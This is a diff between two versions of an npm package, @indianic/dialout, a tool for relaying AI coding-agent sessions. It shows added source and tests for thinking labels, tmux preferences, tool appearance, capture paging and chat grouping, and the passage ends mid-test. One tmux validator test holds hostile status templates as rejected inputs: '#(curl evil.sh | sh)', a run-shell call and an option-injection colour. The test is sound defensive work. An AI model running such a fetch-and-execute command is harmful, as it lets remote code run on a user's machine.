@indianic/dialout 1.10.0 → 1.12.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (117) hide show
  1. package/README.md +14 -0
  2. package/dist/ai-adapters/claude.d.ts.map +1 -1
  3. package/dist/ai-adapters/claude.js +18 -1
  4. package/dist/ai-adapters/claude.js.map +1 -1
  5. package/dist/ai-sessions.d.ts +26 -1
  6. package/dist/ai-sessions.d.ts.map +1 -1
  7. package/dist/ai-sessions.js +43 -7
  8. package/dist/ai-sessions.js.map +1 -1
  9. package/dist/cli-client.d.ts +60 -0
  10. package/dist/cli-client.d.ts.map +1 -0
  11. package/dist/cli-client.js +246 -0
  12. package/dist/cli-client.js.map +1 -0
  13. package/dist/cli-terminal.d.ts +101 -0
  14. package/dist/cli-terminal.d.ts.map +1 -0
  15. package/dist/cli-terminal.js +1121 -0
  16. package/dist/cli-terminal.js.map +1 -0
  17. package/dist/cli.js +84 -0
  18. package/dist/cli.js.map +1 -1
  19. package/dist/file-transfer.d.ts +18 -0
  20. package/dist/file-transfer.d.ts.map +1 -0
  21. package/dist/file-transfer.js +266 -0
  22. package/dist/file-transfer.js.map +1 -0
  23. package/dist/fs-browser.d.ts +3 -1
  24. package/dist/fs-browser.d.ts.map +1 -1
  25. package/dist/fs-browser.js +35 -6
  26. package/dist/fs-browser.js.map +1 -1
  27. package/dist/mcp-stdio.d.ts +10 -0
  28. package/dist/mcp-stdio.d.ts.map +1 -0
  29. package/dist/mcp-stdio.js +199 -0
  30. package/dist/mcp-stdio.js.map +1 -0
  31. package/dist/shared-shell.d.ts +77 -0
  32. package/dist/shared-shell.d.ts.map +1 -0
  33. package/dist/shared-shell.js +282 -0
  34. package/dist/shared-shell.js.map +1 -0
  35. package/dist/websocket.d.ts.map +1 -1
  36. package/dist/websocket.js +413 -1
  37. package/dist/websocket.js.map +1 -1
  38. package/node_modules/@indianic/dialout-shared/dist/ai-chat-prefs.test.d.ts +2 -0
  39. package/node_modules/@indianic/dialout-shared/dist/ai-chat-prefs.test.d.ts.map +1 -0
  40. package/node_modules/@indianic/dialout-shared/dist/ai-chat-prefs.test.js +38 -0
  41. package/node_modules/@indianic/dialout-shared/dist/attachments.test.d.ts +2 -0
  42. package/node_modules/@indianic/dialout-shared/dist/attachments.test.d.ts.map +1 -0
  43. package/node_modules/@indianic/dialout-shared/dist/attachments.test.js +31 -0
  44. package/node_modules/@indianic/dialout-shared/dist/captured.d.ts +27 -0
  45. package/node_modules/@indianic/dialout-shared/dist/captured.d.ts.map +1 -0
  46. package/node_modules/@indianic/dialout-shared/dist/captured.js +23 -0
  47. package/node_modules/@indianic/dialout-shared/dist/captured.test.d.ts +2 -0
  48. package/node_modules/@indianic/dialout-shared/dist/captured.test.d.ts.map +1 -0
  49. package/node_modules/@indianic/dialout-shared/dist/captured.test.js +27 -0
  50. package/node_modules/@indianic/dialout-shared/dist/chat-blocks.d.ts +6 -0
  51. package/node_modules/@indianic/dialout-shared/dist/chat-blocks.d.ts.map +1 -1
  52. package/node_modules/@indianic/dialout-shared/dist/chat-blocks.js +15 -4
  53. package/node_modules/@indianic/dialout-shared/dist/chat-blocks.test.d.ts +2 -0
  54. package/node_modules/@indianic/dialout-shared/dist/chat-blocks.test.d.ts.map +1 -0
  55. package/node_modules/@indianic/dialout-shared/dist/chat-blocks.test.js +81 -0
  56. package/node_modules/@indianic/dialout-shared/dist/command-filter.test.d.ts +2 -0
  57. package/node_modules/@indianic/dialout-shared/dist/command-filter.test.d.ts.map +1 -0
  58. package/node_modules/@indianic/dialout-shared/dist/command-filter.test.js +63 -0
  59. package/node_modules/@indianic/dialout-shared/dist/composer-behaviour.test.d.ts +2 -0
  60. package/node_modules/@indianic/dialout-shared/dist/composer-behaviour.test.d.ts.map +1 -0
  61. package/node_modules/@indianic/dialout-shared/dist/composer-behaviour.test.js +27 -0
  62. package/node_modules/@indianic/dialout-shared/dist/event-merge.d.ts +7 -0
  63. package/node_modules/@indianic/dialout-shared/dist/event-merge.d.ts.map +1 -1
  64. package/node_modules/@indianic/dialout-shared/dist/event-merge.test.d.ts +2 -0
  65. package/node_modules/@indianic/dialout-shared/dist/event-merge.test.d.ts.map +1 -0
  66. package/node_modules/@indianic/dialout-shared/dist/event-merge.test.js +66 -0
  67. package/node_modules/@indianic/dialout-shared/dist/events.d.ts +1 -0
  68. package/node_modules/@indianic/dialout-shared/dist/events.d.ts.map +1 -1
  69. package/node_modules/@indianic/dialout-shared/dist/index.d.ts +6 -1
  70. package/node_modules/@indianic/dialout-shared/dist/index.d.ts.map +1 -1
  71. package/node_modules/@indianic/dialout-shared/dist/index.js +15 -1
  72. package/node_modules/@indianic/dialout-shared/dist/notices.d.ts +37 -0
  73. package/node_modules/@indianic/dialout-shared/dist/notices.d.ts.map +1 -0
  74. package/node_modules/@indianic/dialout-shared/dist/notices.js +124 -0
  75. package/node_modules/@indianic/dialout-shared/dist/notices.test.d.ts +2 -0
  76. package/node_modules/@indianic/dialout-shared/dist/notices.test.d.ts.map +1 -0
  77. package/node_modules/@indianic/dialout-shared/dist/notices.test.js +92 -0
  78. package/node_modules/@indianic/dialout-shared/dist/notify.test.d.ts +2 -0
  79. package/node_modules/@indianic/dialout-shared/dist/notify.test.d.ts.map +1 -0
  80. package/node_modules/@indianic/dialout-shared/dist/notify.test.js +51 -0
  81. package/node_modules/@indianic/dialout-shared/dist/pane-prompt.d.ts +17 -0
  82. package/node_modules/@indianic/dialout-shared/dist/pane-prompt.d.ts.map +1 -1
  83. package/node_modules/@indianic/dialout-shared/dist/pane-prompt.js +27 -0
  84. package/node_modules/@indianic/dialout-shared/dist/pane-prompt.test.d.ts +2 -0
  85. package/node_modules/@indianic/dialout-shared/dist/pane-prompt.test.d.ts.map +1 -0
  86. package/node_modules/@indianic/dialout-shared/dist/pane-prompt.test.js +184 -0
  87. package/node_modules/@indianic/dialout-shared/dist/scroll-pin.test.d.ts +2 -0
  88. package/node_modules/@indianic/dialout-shared/dist/scroll-pin.test.d.ts.map +1 -0
  89. package/node_modules/@indianic/dialout-shared/dist/scroll-pin.test.js +21 -0
  90. package/node_modules/@indianic/dialout-shared/dist/thinking.d.ts +9 -0
  91. package/node_modules/@indianic/dialout-shared/dist/thinking.d.ts.map +1 -0
  92. package/node_modules/@indianic/dialout-shared/dist/thinking.js +38 -0
  93. package/node_modules/@indianic/dialout-shared/dist/thinking.test.d.ts +2 -0
  94. package/node_modules/@indianic/dialout-shared/dist/thinking.test.d.ts.map +1 -0
  95. package/node_modules/@indianic/dialout-shared/dist/thinking.test.js +30 -0
  96. package/node_modules/@indianic/dialout-shared/dist/tmux-prefs.test.d.ts +2 -0
  97. package/node_modules/@indianic/dialout-shared/dist/tmux-prefs.test.d.ts.map +1 -0
  98. package/node_modules/@indianic/dialout-shared/dist/tmux-prefs.test.js +95 -0
  99. package/node_modules/@indianic/dialout-shared/dist/tool-appearance.test.d.ts +2 -0
  100. package/node_modules/@indianic/dialout-shared/dist/tool-appearance.test.d.ts.map +1 -0
  101. package/node_modules/@indianic/dialout-shared/dist/tool-appearance.test.js +38 -0
  102. package/node_modules/@indianic/dialout-shared/package.json +2 -2
  103. package/node_modules/@indianic/dialout-shared/src/captured.test.ts +29 -0
  104. package/node_modules/@indianic/dialout-shared/src/captured.ts +46 -0
  105. package/node_modules/@indianic/dialout-shared/src/chat-blocks.test.ts +14 -0
  106. package/node_modules/@indianic/dialout-shared/src/chat-blocks.ts +14 -5
  107. package/node_modules/@indianic/dialout-shared/src/event-merge.test.ts +27 -0
  108. package/node_modules/@indianic/dialout-shared/src/event-merge.ts +11 -0
  109. package/node_modules/@indianic/dialout-shared/src/events.ts +5 -1
  110. package/node_modules/@indianic/dialout-shared/src/index.ts +8 -1
  111. package/node_modules/@indianic/dialout-shared/src/notices.test.ts +102 -0
  112. package/node_modules/@indianic/dialout-shared/src/notices.ts +159 -0
  113. package/node_modules/@indianic/dialout-shared/src/pane-prompt.test.ts +23 -1
  114. package/node_modules/@indianic/dialout-shared/src/pane-prompt.ts +27 -0
  115. package/node_modules/@indianic/dialout-shared/src/thinking.test.ts +32 -0
  116. package/node_modules/@indianic/dialout-shared/src/thinking.ts +32 -0
  117. package/package.json +1 -1
@@ -0,0 +1,38 @@
1
+ "use strict";
2
+ // How a spell of reasoning is labelled in the transcript.
3
+ //
4
+ // Most of it never reaches us. Claude Code runs adaptive thinking with a
5
+ // `clear_thinking_20251015` context edit, which strips the words out of the
6
+ // persisted history and leaves a signed, empty block behind — measured at 515
7
+ // of 615 blocks in one real session. Codex and Grok encrypt theirs outright.
8
+ // So a thinking row usually has no words to show, only the fact that it
9
+ // happened and `thinkingDurationMs` saying how long for. That is worth
10
+ // showing: it is the difference between an agent that is stuck and one that is
11
+ // thinking hard.
12
+ Object.defineProperty(exports, "__esModule", { value: true });
13
+ exports.thinkingDuration = thinkingDuration;
14
+ exports.thinkingLabel = thinkingLabel;
15
+ /** "1.4s", "12s", "2m 5s" — the duration Claude Code reports for a turn. */
16
+ function thinkingDuration(ms) {
17
+ if (!Number.isFinite(ms) || ms <= 0)
18
+ return '';
19
+ if (ms < 1000)
20
+ return `${Math.round(ms)}ms`;
21
+ const s = ms / 1000;
22
+ if (s < 10)
23
+ return `${s.toFixed(1)}s`;
24
+ if (s < 60)
25
+ return `${Math.round(s)}s`;
26
+ const m = Math.floor(s / 60);
27
+ const rest = Math.round(s % 60);
28
+ return rest ? `${m}m ${rest}s` : `${m}m`;
29
+ }
30
+ /**
31
+ * The label for a thinking row. "Thought for 1.4s" when the vendor said how
32
+ * long, and the vaguer wording only when it did not — never a bare
33
+ * "thinking…", which read as though something were still in flight.
34
+ */
35
+ function thinkingLabel(ms) {
36
+ const d = ms == null ? '' : thinkingDuration(ms);
37
+ return d ? `Thought for ${d}` : 'Thought for a moment';
38
+ }
@@ -0,0 +1,2 @@
1
+ export {};
2
+ //# sourceMappingURL=thinking.test.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"thinking.test.d.ts","sourceRoot":"","sources":["../src/thinking.test.ts"],"names":[],"mappings":""}
@@ -0,0 +1,30 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ const vitest_1 = require("vitest");
4
+ const thinking_1 = require("./thinking");
5
+ (0, vitest_1.describe)('thinkingDuration', () => {
6
+ (0, vitest_1.it)('reads like a stopwatch at every scale', () => {
7
+ (0, vitest_1.expect)((0, thinking_1.thinkingDuration)(490)).toBe('490ms');
8
+ (0, vitest_1.expect)((0, thinking_1.thinkingDuration)(1422)).toBe('1.4s');
9
+ (0, vitest_1.expect)((0, thinking_1.thinkingDuration)(12252)).toBe('12s');
10
+ (0, vitest_1.expect)((0, thinking_1.thinkingDuration)(59_400)).toBe('59s');
11
+ (0, vitest_1.expect)((0, thinking_1.thinkingDuration)(60_000)).toBe('1m');
12
+ (0, vitest_1.expect)((0, thinking_1.thinkingDuration)(125_000)).toBe('2m 5s');
13
+ });
14
+ (0, vitest_1.it)('says nothing rather than "0s" when there is no duration to report', () => {
15
+ (0, vitest_1.expect)((0, thinking_1.thinkingDuration)(0)).toBe('');
16
+ (0, vitest_1.expect)((0, thinking_1.thinkingDuration)(-5)).toBe('');
17
+ (0, vitest_1.expect)((0, thinking_1.thinkingDuration)(NaN)).toBe('');
18
+ (0, vitest_1.expect)((0, thinking_1.thinkingDuration)(Infinity)).toBe('');
19
+ });
20
+ });
21
+ (0, vitest_1.describe)('thinkingLabel', () => {
22
+ (0, vitest_1.it)('names the duration when the vendor gave one', () => {
23
+ (0, vitest_1.expect)((0, thinking_1.thinkingLabel)(1422)).toBe('Thought for 1.4s');
24
+ (0, vitest_1.expect)((0, thinking_1.thinkingLabel)(12252)).toBe('Thought for 12s');
25
+ });
26
+ (0, vitest_1.it)('falls back to the vague wording, never a bare "thinking…"', () => {
27
+ (0, vitest_1.expect)((0, thinking_1.thinkingLabel)(undefined)).toBe('Thought for a moment');
28
+ (0, vitest_1.expect)((0, thinking_1.thinkingLabel)(0)).toBe('Thought for a moment');
29
+ });
30
+ });
@@ -0,0 +1,2 @@
1
+ export {};
2
+ //# sourceMappingURL=tmux-prefs.test.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"tmux-prefs.test.d.ts","sourceRoot":"","sources":["../src/tmux-prefs.test.ts"],"names":[],"mappings":""}
@@ -0,0 +1,95 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ const vitest_1 = require("vitest");
4
+ const tmux_prefs_1 = require("./tmux-prefs");
5
+ (0, vitest_1.describe)('resolveTmuxPrefs', () => {
6
+ (0, vitest_1.it)('returns the defaults for an empty input', () => {
7
+ (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({})).toEqual(tmux_prefs_1.DEFAULT_TMUX_PREFS);
8
+ });
9
+ // The same function guards a config file on disk and a JSON body from a
10
+ // browser, so every shape of garbage has to come out as valid prefs.
11
+ (0, vitest_1.it)('survives null, undefined and non-objects', () => {
12
+ (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)(null)).toEqual(tmux_prefs_1.DEFAULT_TMUX_PREFS);
13
+ (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)(undefined)).toEqual(tmux_prefs_1.DEFAULT_TMUX_PREFS);
14
+ (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: 'not an object' })).toEqual(tmux_prefs_1.DEFAULT_TMUX_PREFS);
15
+ (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: 42 })).toEqual(tmux_prefs_1.DEFAULT_TMUX_PREFS);
16
+ });
17
+ (0, vitest_1.it)('overrides only what it names', () => {
18
+ const prefs = (0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { mouse: 'tmux' } });
19
+ (0, vitest_1.expect)(prefs.mouse).toBe('tmux');
20
+ (0, vitest_1.expect)(prefs.historyLimit).toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.historyLimit);
21
+ });
22
+ // status is nested; a shallow spread would wipe the siblings.
23
+ (0, vitest_1.it)('keeps unnamed status siblings', () => {
24
+ const prefs = (0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { bg: 'colour238' } } });
25
+ (0, vitest_1.expect)(prefs.status.bg).toBe('colour238');
26
+ (0, vitest_1.expect)(prefs.status.fg).toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.status.fg);
27
+ (0, vitest_1.expect)(prefs.status.enabled).toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.status.enabled);
28
+ });
29
+ (0, vitest_1.it)('falls back rather than passing an unknown enum through to tmux', () => {
30
+ (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { mouse: 'sideways' } }).mouse).toBe('native-select');
31
+ (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { attachMode: 'telepathy' } }).attachMode).toBe('auto');
32
+ (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { position: 'sideways' } } }).status.position)
33
+ .toBe('bottom');
34
+ });
35
+ (0, vitest_1.it)('rejects a non-integer, negative or absurd history limit', () => {
36
+ for (const bad of ['lots', -1, 0, 1.5, 10_000_000, null]) {
37
+ (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { historyLimit: bad } }).historyLimit)
38
+ .toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.historyLimit);
39
+ }
40
+ (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { historyLimit: 5000 } }).historyLimit).toBe(5000);
41
+ });
42
+ // The one that matters once a browser can send this: a template carrying
43
+ // command substitution must never be stored.
44
+ (0, vitest_1.it)('rejects a status template containing command substitution', () => {
45
+ const prefs = (0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { left: '#(curl evil.sh | sh)' } } });
46
+ (0, vitest_1.expect)(prefs.status.left).toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.status.left);
47
+ });
48
+ (0, vitest_1.it)('rejects a status template containing run-shell', () => {
49
+ const prefs = (0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { right: 'x run-shell "id"' } } });
50
+ (0, vitest_1.expect)(prefs.status.right).toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.status.right);
51
+ });
52
+ (0, vitest_1.it)('rejects an over-long status template', () => {
53
+ const long = 'a'.repeat(tmux_prefs_1.MAX_STATUS_TEMPLATE + 1);
54
+ (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { left: long } } }).status.left)
55
+ .toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.status.left);
56
+ });
57
+ (0, vitest_1.it)('rejects a colour that is not a colour', () => {
58
+ for (const bad of ['red,fg=black', 'green"', '#zzzzzz', 'rgb(1,2,3)', '']) {
59
+ (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { bg: bad } } }).status.bg)
60
+ .toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.status.bg);
61
+ }
62
+ });
63
+ (0, vitest_1.it)('accepts the colour forms tmux understands', () => {
64
+ for (const good of ['green', 'colour238', 'color12', '#1a56db']) {
65
+ (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { bg: good } } }).status.bg).toBe(good);
66
+ }
67
+ });
68
+ });
69
+ (0, vitest_1.describe)('compileStatusTemplate', () => {
70
+ (0, vitest_1.it)('compiles every advertised token to something else', () => {
71
+ for (const token of tmux_prefs_1.STATUS_TOKENS) {
72
+ (0, vitest_1.expect)((0, tmux_prefs_1.compileStatusTemplate)(`[${token}]`)).not.toBe(`[${token}]`);
73
+ }
74
+ });
75
+ (0, vitest_1.it)('leaves an unknown token verbatim rather than dropping it', () => {
76
+ (0, vitest_1.expect)((0, tmux_prefs_1.compileStatusTemplate)('[nonsense]')).toBe('[nonsense]');
77
+ });
78
+ (0, vitest_1.it)('escapes a quote so it cannot end the emitted tmux string', () => {
79
+ (0, vitest_1.expect)((0, tmux_prefs_1.compileStatusTemplate)('say "hi"')).not.toMatch(/(?<!\\)"/);
80
+ });
81
+ (0, vitest_1.it)('throws on command substitution and run-shell', () => {
82
+ (0, vitest_1.expect)(() => (0, tmux_prefs_1.compileStatusTemplate)('#(id)')).toThrow(/not allowed/i);
83
+ (0, vitest_1.expect)(() => (0, tmux_prefs_1.compileStatusTemplate)('run-shell id')).toThrow(/not allowed/i);
84
+ });
85
+ });
86
+ (0, vitest_1.describe)('validators', () => {
87
+ (0, vitest_1.it)('isValidStatusTemplate mirrors compileStatusTemplate', () => {
88
+ (0, vitest_1.expect)((0, tmux_prefs_1.isValidStatusTemplate)('[folder]')).toBe(true);
89
+ (0, vitest_1.expect)((0, tmux_prefs_1.isValidStatusTemplate)('#(id)')).toBe(false);
90
+ });
91
+ (0, vitest_1.it)('isValidTmuxColor rejects anything that could inject a second option', () => {
92
+ (0, vitest_1.expect)((0, tmux_prefs_1.isValidTmuxColor)('green')).toBe(true);
93
+ (0, vitest_1.expect)((0, tmux_prefs_1.isValidTmuxColor)('green,fg=red')).toBe(false);
94
+ });
95
+ });
@@ -0,0 +1,2 @@
1
+ export {};
2
+ //# sourceMappingURL=tool-appearance.test.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"tool-appearance.test.d.ts","sourceRoot":"","sources":["../src/tool-appearance.test.ts"],"names":[],"mappings":""}
@@ -0,0 +1,38 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ const vitest_1 = require("vitest");
4
+ const tool_appearance_1 = require("./tool-appearance");
5
+ (0, vitest_1.describe)('tool-appearance', () => {
6
+ (0, vitest_1.it)('maps known tools to their action class', () => {
7
+ (0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Read')).toBe('read');
8
+ (0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Glob')).toBe('read');
9
+ (0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Grep')).toBe('search');
10
+ (0, vitest_1.expect)((0, tool_appearance_1.toolClass)('WebSearch')).toBe('search');
11
+ (0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Bash')).toBe('run');
12
+ (0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Task')).toBe('run');
13
+ (0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Edit')).toBe('write');
14
+ (0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Write')).toBe('write');
15
+ });
16
+ (0, vitest_1.it)('is case and whitespace insensitive', () => {
17
+ (0, vitest_1.expect)((0, tool_appearance_1.toolClass)(' bASh ')).toBe('run');
18
+ });
19
+ // New tools ship constantly. An unknown name must render as a neutral row,
20
+ // never throw and never blank the trace.
21
+ (0, vitest_1.it)('falls back to other for an unknown tool', () => {
22
+ (0, vitest_1.expect)((0, tool_appearance_1.toolClass)('SomeToolShippedNextWeek')).toBe('other');
23
+ (0, vitest_1.expect)((0, tool_appearance_1.toolAppearance)('SomeToolShippedNextWeek').colorVar).toBe('--dim');
24
+ });
25
+ (0, vitest_1.it)('failure beats the name-derived class', () => {
26
+ const a = (0, tool_appearance_1.toolAppearance)('Read', false);
27
+ (0, vitest_1.expect)(a.cls).toBe('failure');
28
+ (0, vitest_1.expect)(a.colorVar).toBe('--offline');
29
+ (0, vitest_1.expect)(a.glyph).toBe('✕');
30
+ });
31
+ (0, vitest_1.it)('every class has a glyph and a colour token', () => {
32
+ for (const name of ['Read', 'Grep', 'Bash', 'Edit', 'Nonsense']) {
33
+ const a = (0, tool_appearance_1.toolAppearance)(name);
34
+ (0, vitest_1.expect)(a.glyph.length).toBeGreaterThan(0);
35
+ (0, vitest_1.expect)(a.colorVar.startsWith('--')).toBe(true);
36
+ }
37
+ });
38
+ });
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@indianic/dialout-shared",
3
- "version": "1.4.0",
3
+ "version": "1.6.0",
4
4
  "description": "Types and constants shared by the Dialout server, agent and mobile app.",
5
5
  "publishConfig": {
6
6
  "registry": "https://registry.npmjs.org"
@@ -20,7 +20,7 @@
20
20
  "dist"
21
21
  ],
22
22
  "scripts": {
23
- "build": "tsc",
23
+ "build": "rm -rf dist && tsc -p tsconfig.build.json",
24
24
  "test": "vitest run"
25
25
  },
26
26
  "devDependencies": {
@@ -0,0 +1,29 @@
1
+ import { describe, expect, it } from 'vitest';
2
+ import { MAX_CAPTURE_PAGE, parseCapturePage } from './captured';
3
+
4
+ describe('parseCapturePage', () => {
5
+ it('defaults to the newest full page', () => {
6
+ expect(parseCapturePage(null, null)).toEqual({ before: null, limit: MAX_CAPTURE_PAGE });
7
+ });
8
+
9
+ it('caps the page so one request cannot pull a whole conversation', () => {
10
+ expect(parseCapturePage(null, String(MAX_CAPTURE_PAGE * 10)).limit).toBe(MAX_CAPTURE_PAGE);
11
+ expect(parseCapturePage(null, '25').limit).toBe(25);
12
+ });
13
+
14
+ it('treats junk, zero and negative limits as the default', () => {
15
+ for (const v of ['0', '-5', 'all', '', 'NaN', null, undefined]) {
16
+ expect(parseCapturePage(null, v).limit).toBe(MAX_CAPTURE_PAGE);
17
+ }
18
+ });
19
+
20
+ it('reads `before` only as a positive whole index', () => {
21
+ expect(parseCapturePage('450', null).before).toBe(450);
22
+ // seq 0 is the first event ever; "before 0" is empty, which is the same
23
+ // request as "the newest page" would be wrong — so it is not honoured.
24
+ expect(parseCapturePage('0', null).before).toBeNull();
25
+ expect(parseCapturePage('-1', null).before).toBeNull();
26
+ expect(parseCapturePage('12.5', null).before).toBeNull();
27
+ expect(parseCapturePage('abc', null).before).toBeNull();
28
+ });
29
+ });
@@ -0,0 +1,46 @@
1
+ import type { AiEvent } from './events';
2
+ import { REPLAY_LIMIT } from './session';
3
+
4
+ // The captured copy of a conversation, served from Postgres so a session
5
+ // paints before the agent has said anything — or at all, when the machine is
6
+ // asleep. The ws-server has been writing these rows all along (Reports →
7
+ // Session logs); this is the shape the session screens read them back in.
8
+ //
9
+ // Events carry their absolute transcript index, the same numbering the agent
10
+ // uses, which is what lets the captured copy and the agent's live stream be
11
+ // merged by event-merge.ts without a special case.
12
+
13
+ export interface CapturedTranscript {
14
+ /** The transcript file this conversation is, or '' when nothing is captured. */
15
+ sessionKey: string;
16
+ events: AiEvent[];
17
+ /** Absolute index of events[0]; null when there are none. */
18
+ firstSeq: number | null;
19
+ /** Captured events older than firstSeq — what "load earlier" can still reach. */
20
+ earlier: number;
21
+ /** Absolute index of the last event held, for an open's `haveThrough`. */
22
+ lastSeq: number | null;
23
+ /** When the capture last grew, so a screen can say how fresh the copy is. */
24
+ updatedAt: string | null;
25
+ }
26
+
27
+ export const EMPTY_CAPTURE: CapturedTranscript = {
28
+ sessionKey: '', events: [], firstSeq: null, earlier: 0, lastSeq: null, updatedAt: null,
29
+ };
30
+
31
+ /** A page of captured events is at most a replay's worth, never less than one. */
32
+ export const MAX_CAPTURE_PAGE = REPLAY_LIMIT;
33
+
34
+ /**
35
+ * Clamp a ?before=&limit= pair off the wire. `before` is exclusive and absent
36
+ * means "the newest page"; 0 is a legitimate index, so only a non-integer or a
37
+ * negative number counts as absent.
38
+ */
39
+ export function parseCapturePage(before: unknown, limit: unknown): { before: number | null; limit: number } {
40
+ const b = Number(before);
41
+ const l = Math.floor(Number(limit));
42
+ return {
43
+ before: Number.isInteger(b) && b > 0 ? b : null,
44
+ limit: Number.isFinite(l) && l > 0 ? Math.min(l, MAX_CAPTURE_PAGE) : MAX_CAPTURE_PAGE,
45
+ };
46
+ }
@@ -57,6 +57,20 @@ describe('groupEvents', () => {
57
57
  expect(blocks.map((b) => b.kind)).toEqual(['user', 'assistant']);
58
58
  });
59
59
 
60
+ it('turns a harness message into a notice, and drops a pure reminder', () => {
61
+ const blocks = groupEvents([
62
+ msg('user', 'ship it'),
63
+ msg('user', '<system-reminder>read the rules again</system-reminder>'),
64
+ msg('user', '<task-notification><summary>Agent "Review" finished</summary>'
65
+ + '<usage><tool_uses>8</tool_uses><duration_ms>77347</duration_ms></usage></task-notification>'),
66
+ ]);
67
+ expect(blocks.map((b) => b.kind)).toEqual(['user', 'notice']);
68
+ const notice = blocks[1];
69
+ if (notice.kind !== 'notice') throw new Error('expected a notice');
70
+ expect(notice.notice.label).toBe('Agent "Review" finished');
71
+ expect(notice.notice.detail).toBe('1m 17s · 8 tools');
72
+ });
73
+
60
74
  it('gives every block a stable unique key', () => {
61
75
  const blocks = groupEvents([msg('user', 'hi'), call('a', 'Read'), call('b', 'Bash')]);
62
76
  const keys = blocks.map((b) => b.key);
@@ -1,4 +1,5 @@
1
1
  import type { AiEvent } from './events';
2
+ import { readUserMessage, type MessageNotice } from './notices';
2
3
 
3
4
  export interface ToolItem {
4
5
  id: string;
@@ -13,7 +14,8 @@ export type ChatBlock =
13
14
  | { kind: 'user'; key: string; text: string; pending?: boolean }
14
15
  | { kind: 'assistant'; key: string; text: string }
15
16
  | { kind: 'tools'; key: string; items: ToolItem[] }
16
- | { kind: 'thinking'; key: string; text: string }
17
+ | { kind: 'thinking'; key: string; text: string; ms?: number }
18
+ | { kind: 'notice'; key: string; notice: MessageNotice }
17
19
  | { kind: 'status'; key: string; status: string };
18
20
 
19
21
  // Grouping only ever merges ADJACENT events, so the worst case for an adapter
@@ -27,9 +29,16 @@ export function groupEvents(events: AiEvent[]): ChatBlock[] {
27
29
  const tail = blocks[blocks.length - 1];
28
30
 
29
31
  if (e.kind === 'message') {
30
- blocks.push(e.role === 'user'
31
- ? { kind: 'user', key, text: e.text || '' }
32
- : { kind: 'assistant', key, text: e.text || '' });
32
+ if (e.role !== 'user') {
33
+ blocks.push({ kind: 'assistant', key, text: e.text || '' });
34
+ return;
35
+ }
36
+ // Half the "user" messages in an agent transcript are the harness
37
+ // talking to itself. Read the frame before drawing a bubble for it.
38
+ const read = readUserMessage(e.text || '');
39
+ if (read.kind === 'hidden') return;
40
+ if (read.kind === 'notice') blocks.push({ kind: 'notice', key, notice: read.notice });
41
+ else blocks.push({ kind: 'user', key, text: read.text });
33
42
  return;
34
43
  }
35
44
 
@@ -62,7 +71,7 @@ export function groupEvents(events: AiEvent[]): ChatBlock[] {
62
71
  }
63
72
 
64
73
  if (e.kind === 'thinking') {
65
- blocks.push({ kind: 'thinking', key, text: e.text || '' });
74
+ blocks.push({ kind: 'thinking', key, text: e.text || '', ms: e.ms });
66
75
  return;
67
76
  }
68
77
 
@@ -35,6 +35,33 @@ describe('mergeEvents', () => {
35
35
  expect(mergeEvents(s, range(3, 5), { firstSeq: 3 })).toBe(s);
36
36
  });
37
37
 
38
+ it('a delta appends onto the captured copy and leaves `earlier` alone', () => {
39
+ // What the session screen painted from the server's database: 200 events
40
+ // ending at seq 449, with 250 older ones still stored behind them.
41
+ let s = mergeEvents(EMPTY_TRANSCRIPT, range(250, 450), { replay: true, firstSeq: 250, earlier: 250 });
42
+ // The open declared haveThrough: 449; the agent answers with 450 onwards.
43
+ s = mergeEvents(s, range(450, 453), { delta: true, firstSeq: 450 });
44
+ expect(texts(s)).toHaveLength(203);
45
+ expect(texts(s)[202]).toBe('m452');
46
+ expect(s.firstSeq).toBe(250);
47
+ // The agent's window reaches back less far than the database does, so it
48
+ // sends no `earlier` and the client's own count must survive.
49
+ expect(s.earlier).toBe(250);
50
+ });
51
+
52
+ it('an empty delta is the in-sync signal and changes nothing', () => {
53
+ const s = mergeEvents(EMPTY_TRANSCRIPT, range(0, 3), { replay: true, firstSeq: 0, earlier: 7 });
54
